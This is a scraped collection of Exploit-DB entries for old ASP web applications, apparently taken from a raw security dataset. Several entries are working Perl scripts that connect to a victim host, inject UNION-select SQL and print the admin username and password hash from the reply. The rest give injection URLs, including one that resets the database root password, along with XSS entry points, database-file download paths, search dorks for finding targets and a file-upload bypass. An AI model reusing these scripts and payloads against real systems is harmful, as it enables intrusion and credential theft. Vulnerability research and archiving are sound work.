deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23858
Description: Expinion.net News Manager Lite 2.5 - 'search.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2004-03-20
Author: Manuel Lopez

Exploit:
source: https://www.securityfocus.com/bid/9935/info
 
Multiple vulnerabilities have been identified in the application that may allow an attacker to carry out SQL injection, cross-site scripting, and account hijacking attacks.
 
The issues exist in the 'comment_add.asp', 'search.asp', 'category_news_headline.asp', 'more.asp', 'category_news.asp', and 'ews_sort.asp' scripts. Further more a cookie account hijacking issue was also discovered in the application that may allow a remote attacker to gain administrative access to application's administrative interface.
 
News Manager Lite 2.5 is reported to be affected by these issues, however, other versions may be affected as well.

http://www.example.com/search.asp?search=[XSS]
Exploit-DB #1623
Description: EzASPSite 2.0 RC3 - 'Scheme' SQL Injection
Type: webapps
Platform: asp
Date: 2006-03-29
Author: nukedx

Exploit:
#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=22
#Usage: ezasp.pl <host> <path>
#googledork: [ "Powered By EzASPSite v2.0 RC3" ] 62.400 Pages..
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-22\r\n";
  print "- EzASPSite <= 2.0 RC3 Remote SQL Injection Exploit\r\n";
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> Path to EzASPSite ex: /ezasp/\r\n";
  exit();
}
sub exploit () 
{
  #Our variables...
  $ezserver = $ARGV[0];
  $ezserver =~ s/(http:\/\/)//eg;
  $ezhost   = "http://".$ezserver;
  $ezdir    = $ARGV[1];
  $ezport   = "80";
  $eztar    = "Default.asp?Scheme=";
  $ezxp     = "-1+UNION+SELECT+0,0,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,username,0,0,0,0,0,0,0,0,'NWPX',0,0,0,0,0,0,0+from+tblAuthor+where+Group_ID=1";
  $ezreq    = $ezhost.$ezdir.$eztar.$ezxp;
  #Sending data...
  header();
  print "- Trying to connect: $ezserver\r\n";
  $ez = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$ezserver", PeerPort => "$ezport") || die "- Connection failed...\n";
  print $ez "GET $ezreq HTTP/1.1\n";
  print $ez "Accept: */*\n";
  print $ez "Referer: $ezhost\n";
  print $ez "Accept-Language: tr\n";
  print $ez "User-Agent: NukeZilla\n";
  print $ez "Cache-Control: no-cache\n";
  print $ez "Host: $ezserver\n";
  print $ez "Connection: close\n\n";
  print "- Connected...\r\n";
  while ($answer = <$ez>) {
    if ($answer =~ /<link href=\"forum\/(.*?)\" rel=\"stylesheet\"/) {
      print "- Exploit succeed! Getting admin's information\r\n";
      print "- USERNAME: $1\r\n";
    }
    if ($answer =~ /bgcolor=\"NWPX\" background=\"forum\/(.*?)\">/) {
      print "- SHA1 HASH of PASSWORD: $1\r\n";
      exit();
    }
    if ($answer =~ /number of columns/) { 
      print "- This version of EzASPSite is vulnerable too\r\n";
      print "- but default query of SQL-Inj. does not work on it\r\n";
      print "- So please edit query by manually adding null data..\r\n";
      exit(); 
    }
  }
  #Exploit failed...
  print "- Exploit failed\n"
}

# nukedx.com [2006-03-29]

# milw0rm.com [2006-03-29]
Exploit-DB #10795
Description: ezguestbook - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-30
Author: RENO

Exploit:
 #####################################################
 # [+] Author        :  RENO                         #
 # [+] Email         :  R7e@HoTMaiL.coM              #
 # [+] Site :  www.vxx9.cc                           #
 # [+] Team :  SauDi ViRuS TeaM                      #
 # [+] Dork : search for it :p                       #
 # [+] Script : ezguestbook                          #
 #####################################################

vuln. in :

http://server/path/datastores/gstbk.mdb


good luck :D

Thanks to : Allah ..


Greets : Jetli007 , ! BaD BoY ! , Dr.php , Gov.Hacker , AnTi SeCuRe , Dr.$audi , All Vxx9.Cc Members
Exploit-DB #27469
Description: EZHomePagePro 1.5 - 'email.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2006-03-27
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17236/info

EZHomePagePro is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

/common/email.asp?page=user&m=y&select=r0t-&usid=2&uname=guest&aname=&adid=[XSS]

/common/email.asp?page=user&m=y&select=r0t-&usid=2&uname=&aname=[XSS]
Exploit-DB #27471
Description: EZHomePagePro 1.5 - 'users_calendar.asp?page' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-03-27
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17236/info
  
EZHomePagePro is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

/users/users_calendar.asp?view=yes&action=write&uname=r0t&usid=2&date=3/2/2006&sdate=3/2/2006&page=[XSS]
Exploit-DB #27473
Description: EZHomePagePro 1.5 - 'users_mgallery.asp?usid' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-03-27
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17236/info
    
EZHomePagePro is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

/users/users_mgallery.asp?gn=r0t&gp=guest&fl=Favorites&usid=[XSS]
Exploit-DB #27472
Description: EZHomePagePro 1.5 - 'users_profiles.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2006-03-27
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17236/info
   
EZHomePagePro is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

/users/users_profiles.asp?page=user&uname=r0t&usid=2&aname=&adid=[XSS]

/users/users_profiles.asp?page=user&uname=r0t&usid=2&aname=[XSS]
Exploit-DB #27470
Description: EZHomePagePro 1.5 - 'users_search.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2006-03-27
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17236/info
 
EZHomePagePro is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

/users/users_search.asp?page=user&uname=r0t&usid=2&aname=&adid=&m=[XSS]

/users/users_search.asp?page=user&uname=r0t&usid=2&aname=&adid=[XSS]

/users/users_search.asp?page=user&uname=r0t&usid=2&aname=[XSS]
Exploit-DB #16941
Description: EzPub Simple Classic ASP CMS - SQL Injection
Type: webapps
Platform: asp
Date: 2011-03-08
Author: p0pc0rn

Exploit:
Title:    EzPub - Simple Classic ASP CMS Vulnerable to SQL Injection
Vendor:   http://www.soft4web.ro
Found by: p0pc0rn 08/03/2011
Dork:     intext:"Powered by EZPub"


SQL - Microsoft JET Database Engine error
------------------------------------------

view_article.asp?item=[SQL]
http://site.com/page.asp?pID=[SQL]
http://site.com/display.asp?sortby=sections&sID=[SQL]

POC
---

http://site.com/view_article.asp?item=1 union select 1 from test.a

thanks,
-p0pc0rn-
Exploit-DB #10796
Description: ezscheduler - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-30
Author: RENO

Exploit:
 #####################################################
 # [+] Author        :  RENO                         #
 # [+] Email         :  R7e@HoTMaiL.coM              #
 # [+] Site :  www.vxx9.cc                           #
 # [+] Team :  SauDi ViRuS TeaM                      #
 # [+] Dork : search for it :p                       #
 # [+] Script : ezscheduler                          #
 #####################################################

vuln. in :

http://server/path/datastores/calendar.mdb


good luck :D

Thanks to : Allah ..


Greets : Dr.php , ! BaD BoY ! , Jetli007 , Gov.Hacker , AnTi SeCuRe , Dr.$audi , All Vxx9.Cc Members
Exploit-DB #21766
Description: FactoSystem Weblog 0.9/1.0/1.1 - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2002-08-31
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/5600/info

FactoSystem Weblog is a freely available, open source software package for weblogging and managing content. It is available for Microsoft Windows operating systems.

FactoSystem does not adequately filter special characters from requests. Because of this, it may be possible for a remote user to submit a request containing encoded special characters and SQL, and execute arbitrary commands. This could lead to execution of SQL commands in the security context of web database user.

http://www.example.com/author.asp?authornumber=1%28%20And%20AuthorTable%2EAuthorID%3DBlurbTable%2EAuthorID%20And%20BlurbTable%2ESub_id%3DSubjectTable%2ESub_id%20Order%20By%20BlurbTable%2EBlurbdate%20desc%2C%20blurbtable%2Eblurbtime%20desc%3BUPDATE%20user%20SET%20Password%3DPASSWORD%28%27password%27%29%20WHERE%20user%3D%27root%27%3B%20FLUSH%20PRIVILEGES%3B--
Exploit-DB #23005
Description: FCKEditor Core ASP 2.6.8 - Arbitrary File Upload Protection Bypass
Type: webapps
Platform: asp
Date: 2012-11-29
Author: Soroush Dalili

Exploit:
- Title: FCKEditor 2.6.8 ASP Version File Upload Protection bypass
- Credit goes to: Mostafa Azizi, Soroush Dalili
- Link: http://sourceforge.net/projects/fckeditor/files/FCKeditor/
- Description:
There is no validation on the extensions when FCKEditor 2.6.8 ASP version is 
dealing with the duplicate files. As a result, it is possible to bypass 
the protection and upload a file with any extension.

- Reference: http://soroush.secproject.com/blog/2012/11/file-in-the-hole/
- Solution: Please check the provided reference or the vendor website.
- PoC: http://www.youtube.com/v/1VpxlJ5jLO8?version=3&hl=en_US&rel=0&vq=hd720

Duplicate files do not have proper validation on their extensions.

As a result, it is possible to upload any file with any extension on the server by using Null Character.

Applications on IIS6 can also use "file.asp;gif" pattern.
- Solution: In "config.asp", wherever you have: ConfigAllowedExtensions.Add "File","EXTENSION HERE" Change it to: ConfigAllowedExtensions.Add "File","^(Extensions HERE)$"
- Vulnerability: Vulnerable File: commands.asp Function: FileUpload() Vulnerable Code: sFileName = RemoveExtension( sOriginalFileName ) & "(" & iCounter & ")." & sExtension




Note: Quick patch for FCKEditor 2.6.8 File Upload Bypass:

In “config.asp”, wherever you have:

      ConfigAllowedExtensions.Add    “File”,”Extensions Here”

Change it to:

      ConfigAllowedExtensions.Add    “File”,”^(Extensions Here)$”
Exploit-DB #2997
Description: File Upload Manager 1.0.6 - 'detail.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-24
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name: File Upload Manager <= 1.0.6 (detail.asp) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.mxmania.net
#[$$         : 29.99 .
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//   File Upload Manager <= 1.0.6 (detail.asp) Remote SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/detail.asp?ID=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }

print "User <ID>    : ";
$ID = <STDIN>;
chop ($ID);

if ($ID =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

$len=length($ID);

if ($len == 1){}
else {
print "-- Exploit Failed[No User Id] \n";
exit();
 }

$target = "-1%20union%20select%200,0,fld_ID,0,0,fld_password,0,0,0,0,0,0,0%20from%20tbl_members%20where%20id%20like%20".$ID;
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /<td width=\"290\" class=\"bold-text\"><div align=\"left\">(.*?)<\/div>/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /<a href=\"files\/0\/(.*?)\" target=/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2006-12-24]
Exploit-DB #32255
Description: FipsCMS 2.1 - 'neu.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2008-08-15
Author: U238

Exploit:
source: https://www.securityfocus.com/bid/30712/info

fipsCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

fipsCMS 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/fipsCMS/forum/neu.asp?kat=1+union+select+0,pw_admin+from+config
Exploit-DB #29958
Description: FipsCMS 2.1 - 'pid' SQL Injection
Type: webapps
Platform: asp
Date: 2007-05-07
Author: ilker Kandemir

Exploit:
source: https://www.securityfocus.com/bid/23850/info

fipsCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

fipsCMS 2.1 and prior versions are vulnerable to this issue. 

http://www.example.com/home/index.asp?pid='/**/union/**/select/**/0,username,password,3,4,5,6,7,8,9/**/from/**/pidRoot/**/
Exploit-DB #5553
Description: FipsCMS 2.1 - 'print.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2008-05-07
Author: InjEctOr5

Exploit:
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

Title :: Blind SQL Injection
 
Author :: InjEctOr [s0f (at) w (dot) cn] && Hak3r-b0y [hak3r-b0y (at) hotmail (dot) com]

Application :: fipsCMS [Print Module]
 
Download :: http://www.fipsasp.com/home/index.asp?lg=1&w=pages&r=52&pid=73 

Dork 1 ::  Use ur mind !
 
ShoutZ :: Allah ,xError,ProViDor,all InjEctOr5 TeaM ,TrYaG TeaM & Muslims Hackers

Terms of use :: This exploit is just for educational purposes, DO NOT use it for illegal acts.

--------------------------------------------[C o n t e x t]-----------------------------------------
 
Vulnerability: http://localhost/fipsCMS/modules/print.asp?lg=[SQL]

Example : //IIF((select%20mid(last(username),1,1)%20
from%20(select%20top%2010%20username%20from%20admin))='a',0,'ko')

 
-------------------------------------------[End of  context]----------------------------------------

# milw0rm.com [2008-05-07]
Exploit-DB #2828
Description: FipsCMS 4.5 - 'index.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-22
Author: ajann

Exploit:
#!/usr/bin/perl
#[Script Name: fipsCMS <= v4.5 (index.asp) Remote SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(

use IO::Socket;
if(@ARGV < 3){
print "
[========================================================================
[//  fipsCMS <= v4.5 (index.asp) Remote SQL Injection Exploit
[//           Usage: exploit.pl [target] [path] [userid]
[//                   Example: exploit.pl victim.com / 1
[//                   Example: exploit.pl victim.com /path/ 1
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$dir = $ARGV[1];
$file = "index.asp?lg=1&w=forumshow&fcat=-1&fansweres=True&froot=1&fid=";
$target = "-1%20union%20select%200,0,0,0,0,adminpword,0,0,0,0,0,0%20from%20admin%20where%20adminid%20like%20".$ARGV[2];
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /\"150\" value=\"Re:(.*?)class=\"/){ 
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Password: $1\n";
exit();
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }
   
print "+ Exploit failed :(\n";
print "+**********************************************************************+\n";

# milw0rm.com [2006-11-22]
Exploit-DB #8890
Description: FipsCMS Light 2.1 - 'db.mdb' Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2009-06-08
Author: ByALBAYX

Exploit:
@~~=======================================~~@
====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG=====
@~~=======================================~~@
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG
@~~===============TURKISH=================~~@


@~~=======================================~~@
@~~=Script   : fipsCMS Light 2.1

@~~=S.Site   : http://fipsasp.com
@~~=======================================~~@

@~~=Vul      : http://c4team.org/ [Yol] /_fipsdb/db.mdb

@~~=Demo     : http://demo.fipsasp.com/fipsCMS_light/_fipsdb/db.mdb

              _.--"""""--._
            .'             '.
           /                 \
          ;       C4TEAM      ;
          |                   |
          |                   |
          ;                   ;                   ByALBAYX
           \ (`'--,    ,--'`) /
            \ \  _ )  ( _  / /                 WWW.C4TEAM.ORG
             ) )(')/  \(')( (
            (_ `""` /\ `""` _)
             \`"-, /  \ ,-"`/                       
              `\ / `""` \ /`
               |/\/\/\/\/\|                      
               |\        /|
               ; |/\/\/\| ;
                \`-`--`-`/
                 \      /
                  ',__,'
@~~=======================================~~@

@~~=:/

# milw0rm.com [2009-06-08]
Exploit-DB #6135
Description: FipsCMS Light 2.1 - 'r' SQL Injection
Type: webapps
Platform: asp
Date: 2008-07-26
Author: U238

Exploit:
Exploit Code:

victim/path/home/index.asp?w=pages&r=9999999 union select all 0,username,null,0x1 from admin

victim/path/home/index.asp?w=pages&r=9999999 union select all 0,password,null,0x1 from admin

http://localhost:2222/lab/cms/_admin

Download:http://login.fipsasp.com/File.asp?ID=60&CatID=5
Found By U238
# Exploit Search Find: ^o)
#
# fipsCMS light - Ã‚Â© fipsASP 2003 - 2008. All rights reserved
#
# fipsCMS light - Ã‚Â© fipsASP 2003 - 2008
#
# inurl:"fipsASP 2003 - 2008"
# ************************************************ 

# milw0rm.com [2008-07-26]
Exploit-DB #2830
Description: fipsForum 2.6 - 'default2.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-22
Author: ajann

Exploit:
*******************************************************************************
# Title   :  fipsForum <= v2.6 (default2.asp) Remote SQL Injection Vulnerability
# Author  :   ajann
# Contact :   :(

*******************************************************************************


###http://[target]/[path]//default2.asp?kat=[SQL]

Example:

//default2.asp?kat=-1%20union%20select%200,pw_admin%20from%20config


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-22]